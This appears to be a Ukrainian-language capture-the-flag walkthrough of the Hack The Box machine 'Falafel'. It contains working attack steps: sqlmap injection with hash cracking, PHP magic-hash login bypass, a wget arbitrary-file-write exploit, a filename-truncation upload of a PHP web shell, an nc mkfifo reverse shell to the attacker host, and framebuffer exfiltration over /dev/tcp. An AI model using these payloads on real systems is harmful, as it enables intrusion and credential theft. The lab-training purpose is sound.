Для початку додамо ip-адресу у файл hosts.
sudo nano /etc/hosts

Проведемо початкове сканування за допомогою masscan. Будемо сканувати всі TCP та UDP порти зі швидкістю 500 пакетів на секунду через інтерфейс tun0 і подивимося на результат.
sudo masscan -p1-65535,U:1-65535 10.129.229.139 --rate=500 -e tun0 > falafel

cat falafel

Тепер проскануємо два відкриті порти за допомогою nmap. Використовуватимемо опції sC для скриптів за замовчуванням, sV для визначення версій служб та oA для виведення результату у файл.
nmap -p22,80 -sC -sV -oA nmap/falafel falafel.htb

Як видно з виводу nmap, ми маємо справу з Linux машиною. На порту 22 знаходиться сервер OpenSSH версії 7.2p2, а на 80 — сервіс Apache версії 2.4.18. Оскільки ми не знаємо логінів та паролів до ssh і не маємо експлойтів, перейдемо до дослідження 80 порту. Заголовок повідомляє нам наступну інформацію — Falafel Lovers. Відкриємо цей сайт через браузер.

Нас вітає повідомлення — Ласкаво просимо на FalafeLovers — соціальну мережу для любителів фалафелів. У вихідному коді сторінки нічого не знайдемо, тому перейдемо до форми логіна. Якщо введемо в поля форми test/test, нам повернеться повідомлення “Try again..”, а якщо введемо admin/admin — повідомлення “Wrong identification : admin”, отже, такий користувач існує.
Спробуємо просканувати веб-сервер на наявність папок і файлів за допомогою gobuster.
gobuster dir -u http://falafel.htb -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x txt,php
Буде знайдено 2 файли — robots.txt та cyberlaw.txt.

У robots.txt нічого потрібного не буде, а в cyberlaw.txt міститься наступна записка:

Користувач під ніком “chris” повідомив мені, що зміг увійти в МІЙ обліковий запис, не знаючи пароля, і отримати ПОВНИЙ КОНТРОЛЬ над сайтом, використовуючи функцію завантаження зображень. У нас встановлено захист від кіберзагроз у формі входу, і досвідчений PHP-розробник займався фільтрацією URL-адрес для завантаження, тому я поняття не маю, як йому це вдалося.
Шановні юристи, будь ласка, займіться цим питанням. Я вважаю, що кіберправо на нашому боці.
Шановні розробники, виправте цей непрацюючий сайт якомога швидше.
З листа ми дізнаємося про користувача chris, спробуймо знайти інших користувачів. Скопіюємо словник з іменами користувачів у домашню директорію.
cp /usr/share/seclists/Usernames/Names/names.txt .
![]()
Для брутфорсу використаємо wfuzz, взявши параметри через вихідний код сторінки сайту. Одразу приховаємо 3-й стовпець із кодом 657.
wfuzz -c -z file,names.txt --hw 657 -d "username=FUZZ&password=pass" http://falafel.htb/login.php

Але нічого, крім користувачів admin та chris, не знайшлося. Оскільки у нас є форма, є користувачі та немає паролів, перевіримо форму на sql ін’єкцію. Спочатку збережемо сам запит у файл через burp suite. Виділяємо запит і натискаємо “Copy to File”.

Тепер можемо почати перевіряти форму. Я примусово вказав, що використовується база даних mysql, щоб скрипт відпрацював швидше.

Але ін’єкція так і не знайшлася.

Вище ми бачили, що є погана відповідь і хороша від сервера, коли обліковий запис знайдено в системі. Спробуймо доповнити скрипт і вказати хорошу відповідь.
sqlmap -r req --batch --level 5 --risk 3 --string "Wrong identification" --dbms mysql -p username,password

І одразу знайшлася ін’єкція.

Тепер зробимо дамп бази даних, додавши опцію —dump.
sqlmap -r req --batch --level 5 --risk 3 --string "Wrong identification" --dbms mysql -p username,password --dump

sqlmap зміг зробити дамп таблиці і навіть зламав хеш користувача chris. Зайдемо під цим акаунтом у систему — chris:juggling.

Жонглер вдень, хакер вночі
Привіт, мене звати Кріс, і я працюю жонглером у місцевому цирку. Після роботи я завжди їм фалафель.
Ночами я займаюся пентестингом випадкових вебсайтів як хобі. Кумедно, як іноді й хобі, і робота мають щось спільне…
Повернемося до адміністратора. Судячи з профілю, схоже, що PHP використовує маніпуляції (жонглювання) з типами даних (оскільки вебсайт побудований на PHP).
В результаті пошуку в інтернеті з’ясувалося, що при використанні нестрогого порівняння == або != PHP може розглядати змінні як різні типи даних, що призводить до несподіваних результатів порівняння. Наприклад, ‘0010e2’ == ‘1e3’ поверне true, оскільки обидві змінні розглядаються як цілі числа, де “e” — знак експоненти (отже, обидві вважаються “1” як ціле число).
Ми бачимо, що хеш адміністратора збігається з властивістю, яку можна розглядати як 0 ^ 462096931906507119562988736854, що дорівнює “0”. Отже, будь-який рядок, який дає хеш, що починається з 0e, буде вважатися ідентичним хешу адміністратора.
У списку прикладів корисного навантаження представлені різні “магічні хеші”, які можуть досягти тієї ж мети.
Нам підійде будь-який пароль із наступних — 240610708, QNKCDZO, aabg7XSs.
Після входу в адміністративну панель нам знову показується форма, але вже для завантаження картинки.

Запустимо на Kali слухача і зробимо до нього запит.
nc -lvnp 80
http://10.10.14.4/test.png


Тепер ми знаємо, що використовується wget версії 1.17.1, пошукаймо для цієї версії експлойт.
searchsploit wget

Скопіюємо потрібний нам експлойт у домашню директорію.
searchsploit -m linux/remote/40064.txt

У версіях GNU wget до 1.18 віддалені сервери можуть записувати дані в довільні файли, перенаправляючи запит з HTTP на спеціально створений FTP-ресурс.
У файлі багато непотрібного тексту, тому приберемо зайве і перейменуємо файл.
nano 40064.txt
mv 40064.txt exploit.py
Одразу змінимо в експлойті HTTP_LISTEN_IP та FTP_HOST на адресу нашого тунельного інтерфейсу, а також змінюємо рядок на:
new_path = '%s'%('ftp://anonymous@%s:%s/shell.php'%(FTP_HOST, FTP_PORT) )

І створюємо файл shell.php:
nano shell.php
<?php echo ("I was here"); ?>
![]()
Тепер запустимо ftp сервер на Python.
python3 -m venv venv
source venv/bin/activate
pip install --upgrade pip
pip install pyftpdlib
python3 -m pyftpdlib -p 21 -w

Запустимо сам експлойт і звернемося до сервера за допомогою wget, вказавши неіснуюче ім’я.
python2 exploit.py



Ми завантажили файл shell.php. І якщо зараз через форму звернутися до завантаження shell.png, то запитуватися буде shell.php.

Якщо перейдемо в профайл, побачимо підказку про ліміти, швидше за все довжини імен файлів.

Будемо використовувати утиліту з набору metasploit — pattern_create. Створимо паттерн на 255 елементів і створимо такий самий файл із ім’ям з паттерна.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255

touch Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4
![]()
Перемістимо щойно створений файл у новий файл, але вже з розширенням gif, віднявши 4 байти з кінця імені.
mv Aa0Aa1Aa2Aa3...Ai4 Aa0Aa1Aa2Aa3...Ai2Ai.gif

І додамо магічні байти метаданих у початок файлу.
nano Aa0Aa1Aa2Aa3...Ai2Ai.gif
GIF8;
Тепер запустимо http сервер на Python і завантажимо з нього створений нами файл.
python3 -m http.server 80

http://10.10.14.4/Aa0Aa1Aa2Aa3...Ai2Ai.gif


Система відповідає, що ім’я файлу занадто довге, всього 255 символів в імені.
![]()
Порахуємо кількість символів нового імені. Вона дорівнює 236.
echo -n "Aa0Aa1...Ah" | wc -c

Згенеруємо нове ім’я файлу без урахування розширення з крапкою.
python2 -c 'print "A" * 232'

Тепер створимо новий файл із подвійним розширенням і завантажимо його на сервер.
nano AAAAAAAAAAAAAAAAAA...AAAAAAAAAAAAAAAA.php.png
<?php echo system($_REQUEST['req']); ?>

Тепер, коли ми перейдемо за вказаним шляхом і передамо нашому скрипту команду, вона виконається.

Зараз ми можемо виконати реверс-шелл. Щоб було простіше, перемкнемося на burp suite.

Запустимо слухача.
nc -lvnp 1234

І передамо в burp suite наступний код, закодувавши його:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.4 1234 >/tmp/f

Оновимо наш реверс-шелл.
python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL + Z
stty raw -echo; fg
enter
export TERM=xterm-256color
Перейдемо в /var/www/html і подивимося файл connection.php. У ньому знаходимо ім’я та пароль до бази даних. Спробуємо підключитися з цими обліковими даними по ssh.

ssh moshe@falafel.htb

І отримуємо флаг.
cat user.txt | wc
![]()
Якщо виконаємо команду id, то побачимо, що користувач перебуває в групі 44(video).
![]()
Тобто ми можемо звертатися до фреймбуфера. Вивантажимо з нього дані.
nc -lvnp 2345 > fb.raw
cat /dev/fb0 > /dev/tcp/10.10.14.4/2345

Встановимо локально на Kali gimp і відкриємо в ньому зображення.
sudo apt install gimp -y

Але нічого виразного ми не побачимо, поки не встановимо потрібні параметри.

Ми можемо їх підібрати перебором або прочитати зі спеціального файлу.
cat /sys/class/graphics/fb0/virtual_size
![]()

Тепер, знаючи пароль, залогінимося як yossi.

Але флага немає. Подивимося знову на групи, в яких перебуває користувач. Цього разу він у групі 6(disk).

Флаг можна отримати, підключившись до диска через debugfs.
debugfs /dev/sda1

Також можна забрати ключ id_rsa і підключитися з його допомогою як root до машини.
